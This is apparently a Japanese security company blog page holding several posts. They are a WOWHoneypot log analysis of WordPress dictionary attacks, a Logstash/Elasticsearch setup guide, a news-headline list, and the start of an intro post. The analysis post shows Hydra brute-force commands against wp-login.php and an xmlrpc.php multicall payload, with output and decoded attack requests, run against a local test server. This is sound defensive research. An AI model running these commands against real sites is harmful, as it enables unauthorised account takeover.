WOWHoneypotのログを分析してみた - 分析編

このブログは、数年前にN高等学校を卒業し株式会社ArmorisにやってきたアルバイトKaepiが書いています。

あるもりすぶろぐの内容は個人の意見です。

概要

今回はGCP(Google Cloud Platform)のVMインスタンス(無料枠)にWOWHoneypotを設置し、そのログをElasticsearchで分析します。
今回の分析にはドメインが必要なので、実践される方はドメインの取得とネームサーバーの変更を行ってください。

また、今回は検証のために標的サーバーを用意した上で、実際に攻撃を行います。
検証には自身で管理する環境を使用し、自己責任でお願いします

WOWHoneypotについて導入から分析まで全3回に分けて投稿します。
1. WOWHoneypotのログを分析してみた - 導入編
2. WOWHoneypotのログを分析してみた - Logstash編
3. WOWHoneypotのログを分析してみた - 分析編(今回)

目次

  1. 概要
  2. 分析
  3. 辞書攻撃の検証
  4. まとめ

分析

アクセスログの分析

この記事の執筆時に90日分(約2万件)のログが集まっていたので、このデータを元に分析をしていきます。
まずはどこにアクセスを試みられたかを見ていきます。

グラフにして見てみると、/xmlrpc.php/wp-login.phpにアクセスしようとしたログが非常に多いことがわかります。
アクセスログを詳しく見てみると、様々なID・パスワードの組み合わせでログインを試行していることがわかりました。
このことからブルートフォース攻撃か辞書攻撃などで不正にログインを試みているものと思われます。

また、その下にある///?author=1///wp-json/wp/v2/users/は上記の辞書攻撃に使うIDを調べるためのアクセスだと考えられます。
これらはWordpress関係のアクセスで、収集したログ全体の8~9割がWordpress関係と言えます。

不正ログイン試行で使用されたIDとパスワード

記録したアクセスログからログインを試みようとしたIDとパスワードの組み合わせを調査してみました。
元にしたデータはwp-login.phpxml-rpc.phpに来ていたアクセスです。

これはIDとパスワードの表ですが、IDに関してはadminしか使われていないようです。
パスワードは単純な数字やadmin・ドメイン名などに数字を付けたもの、まれに2~3単語くらいで構成されたものがありました。
なので攻撃の分類としては辞書攻撃が適切だと思われますが、漏洩したパスワードのリストが使用されているわけではないようです。

辞書攻撃について

辞書攻撃とは、あらかじめ用意したIDとパスワードの組み合わせを使って総当たりでパスワードを解読する手法です。
特にサービスやソフトウェアに脆弱性などがなくとも攻撃が成立するため、開発・運営側だけでなく利用者も気を付けなければなりません。

この攻撃の対策としては、利用者側はパスワードを使いまわさない・脆弱なパスワードを使用しないなどがあります。
またサービス運営側としては、2段階認証の導入やログイン試行回数の制限が対策として挙げられます。

ユーザーエージェントの分析

まずは多い順に見ていきます。

Mozilla/5.0から始まるユーザーエージェントは一般的なものが多いですが、UA自体の偽装は簡単にできるのでこの情報だけで何かを判断することはできません。
しかし、一番上のMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0が他と比べてとても多いことと、このUAでフィルターをかけてみたところ

このようになっており9000回分記録されている割には、一つのIPからのアクセスが少なすぎることと、アクセス回数が揃いすぎていることから偶然ではなく何かがあると思いました。
考えられることとしては、攻撃をするための大規模なネットワークがあり、同じソフトウェアを使用して攻撃をしているのではないでしょうか。
また上記のIPの地域情報を見ると、世界中にこの攻撃をしている端末があることもわかりました。

次に気になったユーザーエージェントとしてはcurl/7.54.0Go-http-client/1.1です。
二つとも辞書攻撃と思われるアクセスはしていませんでしたが、nmapによるスキャンをされたログが残っていました。

地域情報の分析

これは過去90日間のアクセスを集計したグラフです。
アメリカが約30%を占めており、シンガポール・ドイツ・中国・フランスなどの国が目立っています。
前回の「フィッシングサイトの調査をしてみた」では約80%ほどがアメリカのIPでしたが、今回は地域にばらつきがあるように見えます。
おそらく、フィッシングサイトの場合はレンタルサーバーが使用されていることが多く、AWSGCPが安く使用できるアメリカに偏ったことに対し、今回はアクセスする側のIPを記録したので国のばらつきが生まれたのだと思われます。

次に、横軸を時間・縦軸をアクセス回数で表示したグラフを見ていきます。

まず分析する前に気になっていた点として、ロシア・ウクライナ関連のアクセスに変化などがないか(開戦前と開戦後での違いなど)がありましたが、実際に見てみると毎日数回程度で特に変わったところはありませんでした。
その上で多く観測したのはアメリカに割り当てられている IPアドレスからのアクセスです。
この期間 (2022/04/20-04/21) のログを見てみると一つのIPアドレスから大量のアクセスがあり、GETで様々な場所にアクセスしようとしてました。
ユーザーエージェントがcurlとなっていたことからスキャンツールのようなものを使われたと考えられます。

また、各国でアクセス回数の増減が似ているタイミングも多く、試しにMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0でフィルターをかけてみると

このようになりました。
同じユーザーエージェントからのアクセスの増減の動向が一致することから、ボットネットなどの何らかの攻撃インフラが使用されている可能性が考えれます。

分析のまとめ

今回はアクセスログ・接続元のIPと地域情報・ユーザーエージェントなどから様々な分析を行いました。
データからわかることとしては、

  • Wordpressへの辞書攻撃が8~9割を占めていた
  • 辞書攻撃に使用されたIDはadminのみで、パスワードのバリエーションも少なかった。
  • アクセス元はアメリカが多いものの世界中からアクセスされていた

大まかにまとめるとこのようになりました。
ここからは考察ですが、攻撃者が偵察のために大規模な攻撃インフラ(ボットネットなど)を用意して全自動で攻撃を行っていると考えました。
理由としては、

  1. 今回構築したWOWHoneypotはドメインを取得して公開しただけであり、人間がブラウザでアクセスすることはほぼ考えられないこと
  2. そもそもWordpressではないことから、攻撃のターゲットに選ばれたというよりクローラーのようなもので見つけて攻撃されたと考える方が自然であること
  3. 送られてきたIDとパスワードの品質から、辞書攻撃をして乗っ取るつもりがあまり感じられないこと

などが挙げられます。
攻撃者からすれば、適当なIDとパスワードで「運よくWordpressを乗っ取れたらいいな」くらいなのではないでしょうか。
またこの攻撃インフラだと思われるものは、マルウェアに感染した端末で構成されている可能性も考えられます。

この考察の結論としては、クローラーなどで外部からアクセスできるwebサイトを見つけ、マルウェアに感染した端末で構成された攻撃インフラを使って攻撃(威力偵察?)をしている可能性が高いというものです。

辞書攻撃の検証

脆弱性を利用した攻撃ではないので具体的な攻撃の手順は無数にありますが、今回はHydraというオープンソースのパスワードクラックツール/ペネトレーションテストツールを使って検証用のWordpressに攻撃を行ってみます。

検証環境

Wordpressは簡単に環境を使い捨て出来るDockerを使用して構築しました。
また攻撃コマンドを実行する環境には、検証を行うのによく使われるKali LinuxをVirtual Box上で動かしました。

wp-login.phpへの辞書攻撃

コマンド

$ hydra -l admin -P pass.txt target.local -V http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&testcoolie=1:F=Lost your password?"

実行結果

Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-04-25 04:52:36
[DATA] max 4 tasks per 1 server, overall 4 tasks, 4 login tries (l:1/p:4), ~1 try per task
[DATA] attacking http-post-form://target.local/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&testcoolie=1:F=Lost your password?
[ATTEMPT] target target.local - login "admin" - pass "password" - 1 of 4 [child 0] (0/0)
[ATTEMPT] target target.local - login "admin" - pass "admin" - 2 of 4 [child 1] (0/0)
[ATTEMPT] target target.local - login "admin" - pass "root" - 3 of 4 [child 2] (0/0)
[ATTEMPT] target target.local - login "admin" - pass "pass1234" - 4 of 4 [child 3] (0/0)
[8000][http-post-form] host: target.local   login: admin   password: pass1234
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-04-25 04:52:37

攻撃が成功した場合

[8000][http-post-form] host: target.local   login: admin   password: pass1234

のようにIDとパスワードが表示されます。

WOWHoneypotに記録されたログには

[2022-06-15 16:21:15+0900] 172.16.10.50 172.20.100.125:8080 "POST /wp-login.php HTTP/1.0" 200 1011 UE9TVCAvd3AtbG9naW4ucGhwIEhUVFAvMS4wCkhvc3Q6IDE3Mi4yMC4xMDAuMTI1OjgwODAKVXNlci1BZ2VudDogTW96aWxsYS81LjAgKEh5ZHJhKQpDb250ZW50LUxlbmd0aDogNDgKQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQKQ29va2llOiB3b3JkcHJlc3NfdGVzdF9jb29raWU9V1ArQ29va2llK2NoZWNrCgpsb2c9YWRtaW4mcHdkPXBhc3Mmd3Atc3VibWl0PUxvZytJbiZ0ZXN0Y29vbGllPTE=

base64部分をデコード

POST /wp-login.php HTTP/1.0
Host: 172.20.100.125:8080
User-Agent: Mozilla/5.0 (Hydra)
Content-Length: 48
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP+Cookie+check

log=admin&pwd=pass&wp-submit=Log+In&testcoolie=1

となっていました。

xmlrpc.phpへの辞書攻撃

hydra -l admin -P pass.txt target.local -V http-post-form "/xmlrpc.php:<?xml version="1.0"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data><value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>^USER^</string></value><value><string>^PASS^</string></value></data></array></value></data></array></value></member></struct></value></data></array></value></param></params></methodCall>:Incorrect"
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-04-26 05:29:05
[DATA] max 4 tasks per 1 server, overall 4 tasks, 4 login tries (l:1/p:4), ~1 try per task
[DATA] attacking http-post-form://target.local/xmlrpc.php:<?xml version=1.0?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data><value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>^USER^</string></value><value><string>^PASS^</string></value></data></array></value></data></array></value></member></struct></value></data></array></value></param></params></methodCall>:Incorrect
[ATTEMPT] target target.local - login "admin" - pass "password" - 1 of 4 [child 0] (0/0)
[ATTEMPT] target target.local - login "admin" - pass "admin" - 2 of 4 [child 1] (0/0)
[ATTEMPT] target target.local - login "admin" - pass "root" - 3 of 4 [child 2] (0/0)
[ATTEMPT] target target.local - login "admin" - pass "pass1234" - 4 of 4 [child 3] (0/0)
[8000][http-post-form] host: target.local   login: admin   password: pass1234
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-04-26 05:29:05

こちらの場合も攻撃が成功するとこのようにIDとパスワードが表示されます。

[8000][http-post-form] host: target.local   login: admin   password: pass1234

WOWHoneypotに記録されたログには

[2022-06-15 16:35:45+0900] 172.16.10.50 172.20.100.125:8080 "POST /xmlrpc.php HTTP/1.0" 200 False UE9TVCAveG1scnBjLnBocCBIVFRQLzEuMApIb3N0OiAxNzIuMjAuMTAwLjEyNTo4MDgwClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChIeWRyYSkKQ29udGVudC1MZW5ndGg6IDQ3NQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZAoKPD94bWwgdmVyc2lvbj0xLjA/PjxtZXRob2RDYWxsPjxtZXRob2ROYW1lPnN5c3RlbS5tdWx0aWNhbGw8L21ldGhvZE5hbWU+PHBhcmFtcz48cGFyYW0+PHZhbHVlPjxhcnJheT48ZGF0YT48dmFsdWU+PHN0cnVjdD48bWVtYmVyPjxuYW1lPm1ldGhvZE5hbWU8L25hbWU+PHZhbHVlPjxzdHJpbmc+d3AuZ2V0VXNlcnNCbG9nczwvc3RyaW5nPjwvdmFsdWU+PC9tZW1iZXI+PG1lbWJlcj48bmFtZT5wYXJhbXM8L25hbWU+PHZhbHVlPjxhcnJheT48ZGF0YT48dmFsdWU+PGFycmF5PjxkYXRhPjx2YWx1ZT48c3RyaW5nPmFkbWluPC9zdHJpbmc+PC92YWx1ZT48dmFsdWU+PHN0cmluZz5wYXNzPC9zdHJpbmc+PC92YWx1ZT48L2RhdGE+PC9hcnJheT48L3ZhbHVlPjwvZGF0YT48L2FycmF5PjwvdmFsdWU+PC9tZW1iZXI+PC9zdHJ1Y3Q+PC92YWx1ZT48L2RhdGE+PC9hcnJheT48L3ZhbHVlPjwvcGFyYW0+PC9wYXJhbXM+PC9tZXRob2RDYWxsPg==

base64部分をデコード

POST /xmlrpc.php HTTP/1.0
Host: 172.20.100.125:8080
User-Agent: Mozilla/5.0 (Hydra)
Content-Length: 475
Content-Type: application/x-www-form-urlencoded

<?xml version=1.0?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data><value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>admin</string></value><value><string>pass</string></value></data></array></value></data></array></value></member></struct></value></data></array></value></param></params></methodCall>

となっていました。

※この検証は外部に公開しないローカルのWordpressサーバーを用意して行っています。

辞書攻撃検証まとめ

この検証では辞書攻撃が複雑な準備などを必要とせずにできてしまうことを紹介しました。
実際のログ(X-Real-IPとX-Forwarded-Forはこちらで追加したヘッダー)

POST /wp-login.php HTTP/1.1
Host: gae-b.org
X-Real-IP: 161.35.126.102
X-Forwarded-For: 161.35.126.102
Content-Length: 89
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP+Cookie+check
Accept-Encoding: gzip

log=admin&pwd=@1234&wp-submit=Log+In&redirect_to=https://gae-b.org/wp-admin/&testcookie=1

リバースプロキシを介しているかの違いもありますが、ユーザーエージェントやHTTP/1.1になっていたりと、かなり違うように見えます。
このように、辞書攻撃は複雑な手順や専門的な知識がなくてもコマンド一つで行えてしまいます。
今回のHydraの検証の結果、観測した攻撃はHydraの特徴とは一致しないため、別のツールが使用されたと思われます。
しかし、辞書攻撃単体の実装でいえば、HTTPリクエストを送るだけなので、ある程度プログラミングの知識があればだれでも作れてしまうものです。

余談ですが、今回GCPに構築したWOWHoneypotにHydraでアクセスすることができませんでした。
考えられる要因として、上記のようにuser-agentがMozilla/5.0 (Hydra)となっていることから、GCPのWAFなどにアクセスを拒否されたものだと思われます。

まとめ

今回は約90日間分のWOWHoneypotのログをElasticsearch+Kibanaで分析してみました。
データの集まりから関連性を見つけ出し、推測ではありますが攻撃用のネットワークが見境なくWordpressにログインを試行する辞書攻撃を行っていることがわかりました。
また、今回は検証をしていませんが、ルーター脆弱性を突く攻撃やSpring frameworkなどのWebフレームワークの脆弱性を突いた攻撃も確認されました。
このように外部から見れる場所に公開するだけで常に攻撃を受けるので、個人開発の小規模なWebページでも使用しているフレームワークの更新など、脆弱性の対策は必ず行ってください。
今回重点的に分析した辞書攻撃はおそらく恒常的に来ているものと思われますが、他の攻撃に関して時期による頻度・内容の変化について今後分析できればと思っています。
3回にわたる長い記事でしたが、ここまで読んでいただきありがとうございました。

WOWHoneypotのログを分析してみた - Logstash編

このブログは、数年前にN高等学校を卒業し株式会社ArmorisにやってきたアルバイトKaepiが書いています。

あるもりすぶろぐの内容は個人の意見です。

概要

今回はGCP(Google Cloud Platform)のVMインスタンス(無料枠)にWOWHoneypotを設置し、そのログをElasticsearchで分析します。
今回の分析にはドメインが必要なので、実践される方はドメインの取得とネームサーバーの変更を行ってください。

WOWHoneypotについて導入から分析まで全3回に分けて投稿します。
1. WOWHoneypotのログを分析してみた - 導入編
2. WOWHoneypotのログを分析してみた - Logstash編(今回)
3. WOWHoneypotのログを分析してみた - 分析編

目次

  1. 環境構築
  2. ログの同期
  3. Elasticsearchの用意
  4. Logstashでデータの加工
  5. まとめ

環境構築

Name Version
Elasticsearch 7.15.2

前回の記事でGCPVMインスタンス上にNginxとWOWHoneypotを構築しましたが、分析に使用するElasticsearch・Kibana・Logstashはコストとセキュリティを考慮して別のマシンで構築します。
今回の解説では

としています。

ログの同期

WOWHoneypotのアクセスログVMインスタンスに記録されていくので、分析するために手元のUbuntuにログファイルをコピーする必要があります。
手動で移すのは大変なので、rsyncを利用してVMインスタンスからUbuntuアクセスログを同期する作業を自動化します。

ssh

ローカルからリモートのログを同期したいので、UbuntuからVMインスタンスssh接続できるようにします。

$ ssh-keygen

このコマンドを実行するとキーペアの保存場所とパスフレーズについて入力が求められまが、どちらも入力せずにEnterを押します。
そうすると/home/ユーザー名/.sshのフォルダの中にid_rsa(秘密鍵)id_rsa.pub(公開鍵)が生成されるので、前回と同じ方法でGCPのコンソールから公開鍵を登録します。

rsync

rsyncとはLinux系のOSにデフォルトでインストールされているコマンドのことで、コンピューター間でファイル・ディレクトリを同期することができます。
ただのコピーではなくファイル・ディレクトリが更新されたときの差分だけを取得することができるので、ログの同期などで役立ちます。

まずWOWHoneypotのログを保存するディレクトリを用意します。

$ sudo mkdir /opt/data/wowhoneypot
$ sudo chmod 777 /opt/data/wowhoneypot

ディレクトリを用意したら、以下のコマンドを実行してログが同期されるか確認します。
[]で囲われている箇所については適宜読み替えてください。

$ rsync -av --inplace -e ssh [user1]@[host]:/home/[user2]/wowhoneypot/log /opt/data/wowhoneypot

このコマンドを実行することで、VMインスタンス/home/user/wowhoneypot/logのログがUbuntu/opt/data/wowhoneypot/logにコピーされます。

ただし、rsyncはファイル・ディレクトリの更新を検知して自動で同期してくれるわけではないので、定期的にrsyncを実行する必要があります。
そのため先程のrsyncコマンドをcronを利用して定期的に実行するようにします。

$ crontab -e

エディターに何を使うか聞かれるので普段使うエディターを選択します。
編集画面を開いたら一番下に以下を追記してください。

*/5 * * * * rsync -av --inplace -e ssh [user1]@[host]:/home/[user2]/wowhoneypot/log /opt/data/wowhoneypot

左側では実行する周期、右側では実行するコマンドを指定しています。
*/5 * * * *は実行する間隔を設定していて、5分毎に実行されるようになっています。

補足

rsyncで同期したログがLogstashを通すと増殖する問題が発生したので、その原因と解決法をまとめておきます。
まず原因はrsyncの挙動にあり、コピー先に一時ファイルをコピー後、置き換えることで同期をしていますが、この置き換えという動作によって、Logstash側ですでに処理したログでもファイルの更新があったということで再度処理されてしまいます。
少しややこしいので例えを出すと

  1. rsyncで1から10までのログがコピーされる
  2. Logstashで1から10までのログが処理される
  3. 5分後、rsyncが5から15までのログをコピーする
  4. Logstashで5から15までのログを処理される
  5. 5から10までのログが2個になる

少し実態は違うかもしれませんが、おおよそこのようなことが起きてしまいます。
そのため解決策として、rsync--inplaceオプションを付けました。
これにより、rsyncの挙動が直接上書きコピーするようになるので、Logstash側で新規のログだけを処理するようになります。

Elasticsearchの用意

インストール

Elasticsearch+Kibanaの構築は前シリーズのフィッシングサイトの調査をしてみたで解説しているので、こちらの記事を参考にしてください。

Logstashはaptで簡単にインストールすることができます。

$ sudo apt install logstash

Elasticsearchの設定

Indexの作成

KibanaのDev Toolからインデックスを作成します。

PUT /wowhoneypot?pretty

このままでもLogstashから投入されるデータは可視化できますが、geoipで取得した座標を地図に表示することができないので、緯度と経度のオブジェクトをgeo_pointの型にする必要があります。
(何もしないとgeoip.location.latとgeoip.location.lonがそれぞれFloatとして扱われてしまう)

Mapping

特定のフィールドの型を明示的に設定するときはmappingを使用します。

PUT /wowhoneypot/_mapping
{
  "properties": {
    "geoip": {
      "properties": {
        "location": {
          "type": "geo_point"
        }
      }
    }
  }
}

これで座標として認識されるようになります。

Index Templateの活用

また、Index Templatesを使用する方法もあります。
Stack ManagementからIndex ManagementのタブのIndex Templatesを選択して、Create templateで作成できます。
名前とテンプレートを適応するIndexを設定して、MappingsのタブからAdd fieldでフィールドを作成、geoip(Type:Object)とその下にlocation(Type:Geo-point)の2つを追加します。
Mappingと結果は変わりませんが、複数のIndexでgeoipを利用したいときはIndex Templateを使ったほうが効率的です。

前回のシリーズでは事前にすべてのフィールドをmappingで設定していましたが、設定していないフィールドは自動で型が設定されるので必要な箇所だけ設定しても動作します。
その他注意点として、Mappingは後から変更できないので、Indexを作成してデータを投入する前にMappingを作成する必要があります。

Logstashでデータの加工

Logstashはログなどのデータを加工して、Elasticsearchに投入するツールです。

フィルターの設定

サンプルデータ

[2022-01-25 13:34:30+0900] 127.0.0.1 34.145.70.227:80 "GET /owa/auth/x.js HTTP/1.1" 200 False R0VUIC9vd2EvYXV0aC94LmpzIEhUVFAvMS4xCkhvc3Q6IDM0LjE0NS43MC4yMjcKWC1SZWFsLUlQOiAxOTIuMjQxLjIxMS4xODkKWC1Gb3J3YXJkZWQtRm9yOiAxOTIuMjQxLjIxMS4xODkKVXNlci1BZ2VudDogTW96aWxsYS81LjAgemdyYWIvMC54CkFjY2VwdDogKi8qCkNvb2tpZTogWC1Bbm9uUmVzb3VyY2U9dHJ1ZTsgWC1Bbm9uUmVzb3VyY2UtQmFja2VuZD1sb2NhbGhvc3QvZWNwL2RlZmF1bHQuZmx0P34zOyBYLUJFUmVzb3VyY2U9bG9jYWxob3N0L293YS9hdXRoL2xvZ29uLmFzcHg/fjM7CkFjY2VwdC1FbmNvZGluZzogZ3ppcAoK

WOWHoneypotが出力するアクセスログはこのようになっています。
これを分析しやすいように要素ごとに切り分けてElasticsearchに投入する必要があるので、logstashのコンフィグを書いていきます。

$ sudo vim /etc/logstash/conf.d/logstash.conf
input {
    file {
        mode => "tail"
        path => ["/opt/data/wowhoneypot/log/access_log"]
        sincedb_path => "/opt/data/wowhoneypot/sincedb"
        start_position => "beginning"
        codec => plain {
            charset => "UTF-8"
        }
    }
}

filter {
    grok { 
        match => ["message", "\A\[%{TIMESTAMP_ISO8601:timestamp}\]%{SPACE}%{IP:src_ip}%{SPACE}%{IPORHOST:http.hostname}:%{NUMBER:dest_port}%{SPACE}\"%{WORD:http.http_method}%{SPACE}(?:%{URIPATHPARAM:http.url}|%{URI:http.url})%{SPACE}%{DATA:http.protocol}\"%{SPACE}%{NUMBER:http.http_status}%{SPACE}%{WORD:mrrid}%{SPACE}%{GREEDYDATA:http.request_b64}"]
        remove_field => ["src_ip"]
    }
    date {
        match => [ "timestamp", "yyyy-MM-dd HH:mm:ssZ" ]
        remove_field => ["timestamp"]
    }
    ruby {
        init => "require 'base64'"
        code => "event.set('http.request', Base64.decode64(event.get('http.request_b64')))"
    }
    grok {
        match => ["http.request", "%{WORD:method} (?:%{URIPATHPARAM:url}|%{URI:url})%{DATA:protocol}\nHost: (?:%{IPORHOST:http.host}|%{IP:http.host})\nX-Real-IP: %{IP:src_ip}\nX-Forwarded-For: %{IP:ip}\n(?:Content-Length: %{WORD:length}\n)?User-Agent: %{GREEDYDATA:data}"]
        remove_field => ["method", "url", "protocol", "host", "length"]
    }
    mutate { gsub => ["data", "\n", "::"] }
    mutate { split => {"data" => "::"} }
    mutate { add_field => {"user-agent" => "%{[data][0]}"} }
    ruby {
        code => '
        if event.get("http.http_method") == "POST"
            event.set("body", event.get("data")[event.get("data").length-1])
        end
        '
    }
    geoip {
        source => "ip"
        target => "geoip"
        database => ["/etc/logstash/geoip/GeoLite2-City.mmdb"]
        fields => ["location", "country_name", "city_name"]
    }
    mutate {
        remove_field => ["message", "http.request_b64", "http.host", "data", "ip", "host"]
    }
}

output {
    elasticsearch {
        hosts => ["localhost:9200"]
        index => "wowhoneypot"
    }
    stdout { codec => rubydebug }
}

今回はこのような設定を用意したので、上から順に解説していきます。

1. input

このブロックでは主に処理するログファイルの扱いを設定しています。

  • mode
    ファイルの読み取りモードを指定しています。
    Tailに設定するとログが追加されたときに動作するようになります。
  • path
    読み込むログファイルのパスです。
  • sincedb_path
    どこまでログを処理したかを記録するファイルのパスです。 これを設定すると、ログが追加されたときに追加された分のログを処理できるようになります。
  • start_position
    beginningにすることで、ファイルの先頭から読み込むようになります。
  • codec
    読み込むファイルの文字コードを指定しています。

2. filter

inputから受け取ったデータをどのように切り分けるかを設定するブロックです。

  • grok
    あまり人間が読みやすいものではありませんが、実際に受け取ったログを切り分ける大半の作業はgrokが行っています。
    仕組みとしては正規表現のようなもので、処理するデータに当てはまるようにパターンを記入しています。
    このコードで以下のフィールドに切り分けています。

    次の行でsrc_ipフィールドを削除していますが、これはwowhoneypotが受け取った接続元のipがリバースプロキシによって127.0.0.1になってしまっているためです。

  • date
    grokで日時のフィールドをtimestampとして切り出しましたが、これとは別にLogstashが処理した時間を記録する@timestampというフィールドが追加されてしまいます。
    なので、@timestamptimestampのデータを上書きして、timestampのフィールドを削除するという作業を行っています。

  • ruby
    ログの後半にあるbase64エンコードされたhttp requestをデコードしています。
  • grok
    2回目のgrokです。
    上の行でデコードしたhttp requestからさらに情報を切り分けています。

    • HTTPメソッド
    • URLパスパラメーター
    • HTTPプロトコル
    • ホストIP
    • 接続元IP
    • Content-Length
    • UserAgent
    • (POSTだった場合) Body

    最初のgrokで切り出した要素と重なるところがあるので、不要なフィールドは削除しています。

  • mutate
    mutateは様々な処理を行えるブロックです。
    大半の情報はgrokで切り出すことができますが、それだけでは対応できないところもあるので補助的な処理をここに記入しています。
  • geoip ipアドレスからおおよその所在地を調べることができる機能です。
    使用するには事前にデータベースをダウンロードしておく必要があります。(使用したのはMaxMindのGeoLite2-City)

3. output

最後に、処理したデータをどこに出力するかを設定します。

  • elasticsearch
    名前の通りelasticsearchにデータを投入するための設定です。
    Elasticsearchに接続するためのhostsと、投入先のindexを指定しています。
  • stdout
    実際に運用する際には不要ですが、filterのテストをする際に出力結果を確認するために標準出力も設定しています。

Logstashの起動

作成したlogstash.confをsystemdが読み込めるように権限を変更します。

$ sudo chmod 644 /etc/logstash/conf.d/logstash.conf

access_logが更新されたらElasticsearchに投入したいので、Logstashもsystemdを使用して常時起動させておきます。
デフォルトで/etc/systemd/system/logstash.serviceが生成されていますが、少し使いづらいので1行書き換えます。

$ sudo vim /etc/systemd/system/logstash.service
[Unit]
Description=logstash

[Service]
Type=simple
User=logstash
Group=logstash
# Load env vars from /etc/default/ and /etc/sysconfig/ if they exist.
# Prefixing the path with '-' makes it try to load, but if the file doesn't
# exist, it continues onward.
EnvironmentFile=-/etc/default/logstash
EnvironmentFile=-/etc/sysconfig/logstash
ExecStart=/usr/share/logstash/bin/logstash -f /etc/logstash/conf.d/logstash.conf
Restart=always
WorkingDirectory=/
Nice=19
LimitNOFILE=16384

# When stopping, how long to wait before giving up and sending SIGKILL?
# Keep in mind that SIGKILL on a process can cause data loss.
TimeoutStopSec=infinity

[Install]
WantedBy=multi-user.target

変更後の内容は以上です。 ExecStartの行をExecStart=/usr/share/logstash/bin/logstash -f /etc/logstash/conf.d/logstash.confに置き換えています。

補足

Logstashを実行するときの権限問題で詰まった部分があったので補足をしておきます。
logstash.confの動作テストをするときにsudo /usr/share/logstash/bin/logstash -f /etc/logstash/conf.d/logstash.confなど管理者権限で一度でも起動してしまうと、実行に必要なファイルがroot以外開けない状態で生成されてしまうので、logstash.serviceのUserとGroupをrootにする必要が出てしまいます。
Logstashの起動に戻ります。

$ sudo systemctl daemon-reload
$ sudo systemctl restart logstash

serviceを書き換えたので、daemon-reloadとサービスの再起動をする必要があります。
ブラウザからKibanaを開いて、データが追加されていたらLogstash編は終了です。

まとめ

今回はGCPVMインスタンスに構築したWOWHoneypotから取得したアクセスログを、Elasticsearch+Kibanaで可視化・分析できるようにrsyncとLogstashの構築と設定をしました。
rsyncとcronを使ってファイルの同期を行ったり、systemdを使ったソフトウェアのサービス化など、データの分析以外でも役に立つ知識なので、手段の一つとして知っておくと便利だと思います。
次回は蓄積したデータを分析して、発見した傾向などを紹介します。

特定期間に発生したインシデントとその報道されたニュースとかのリンクをまとめたもの2

このブログは別の場所でSOCにも携わっている経験のある株式会社Armorisのseanが、本人の興味範囲に基づいて収集したサイバーセキュリティ関連の出来事をまとめたものです。各出来事に関するコメントは個人の意見です。

5月18日収集

全般

脆弱性

Android

5月19日収集

全般

ランサムウェアコスタリカ

ランサムウェア

5月24日収集

全般

フィッシング

脆弱性

情報漏洩

フェイクニュース

DDoS

5月25日収集

全般

マルウェア

攻撃手法

5月26日収集

ガバナンス

DDoS

脆弱性

5月27日収集

全般

ChromeLoader

脆弱性

マルウェア

情報漏洩

不正アクセス(報告)

5月30日収集

全般

ChromeLoader

6月2日収集

全般

ゼロデイ攻撃マイクロソフト

ランサムウェア

6月3日収集

ランサムウェア

Contiランサムウェア

全般

6月8日収集

全般

ランサムウェア

アトラシアン脆弱性

マイクロソフト、Follina

不正アクセス報告

6月9日収集

ランサムウェア

EMOTET

マイクロソフト、Follina

マイクロソフト、DogWalk、0patchによる非公式パッチ

Black Basta ランサムウェア

6月14日収集

不正アクセス

  • 日本のウェブサイトへの直接アクセスの34%は不正ボット・・・世界的にも高頻度
    • SOCでログをみていると、やっぱりそうなんだと納得してしまう記事でした。分析では、ボットだけでなく、勝手に脆弱性診断(野良診断)、ログオン連続試行、ファイルの更新チェックなど、よく判らないが不審な通信が結 構な数に上ります。

6月15日収集

全般

  • 退職者管理の重要性と実施するべき対策
    • 退職者のアカウントを適切に削除しないことで発生したインシデントは、結構耳にします。
    • 契約終了となったシステム運用担当者の場合も同様と思います。性悪説に立つ云々の前に、使わないアカウントは放置しないのが重要ではないでしょうか。
    • https://blog.jpac-privacy.jp/securitymeasuresforretirement/

DDoS

ランサムウェア

スピアフィッシング

ボットネット

マイクロソフト、Follina脆弱性のパッチ

6月16日収集

全般

ランサムウェア

マイクロソフト、Follina脆弱性のパッチ

Internet Explorerの終焉

アップル、脆弱性

サイバーセキュリティポリシー

ソーシャルエンジニアリング

NISC注意喚起

6月20日収集

情報漏洩

ガイドライン

ランサムウェア

ダークウェブ

シャットダウン

6月21日収集

全般

6月23日収集

メールサーバー不正利用

調査報告書

6月24日収集

全般

情報漏洩

6月26日収集

尼崎市、情報漏洩のその後

  • 【独自解説】兵庫・尼崎市 紛失USBメモリー見つかる 全市民46万人分の個人情報は大丈夫?USB利用は仕方なかった?専門家が徹底解説

6月27日収集

ランサムウェア

ウクライナ

不正アクセス

情報漏洩

6月28日収集

サイバー攻撃

尼崎市、情報漏洩の公開報告書類等

脆弱性

詐欺

WOWHoneypotのログを分析してみた - 導入編

このブログは、数年前にN高等学校を卒業し株式会社ArmorisにやってきたアルバイトKaepiが書いています。

あるもりすぶろぐの内容は個人の意見です。

概要

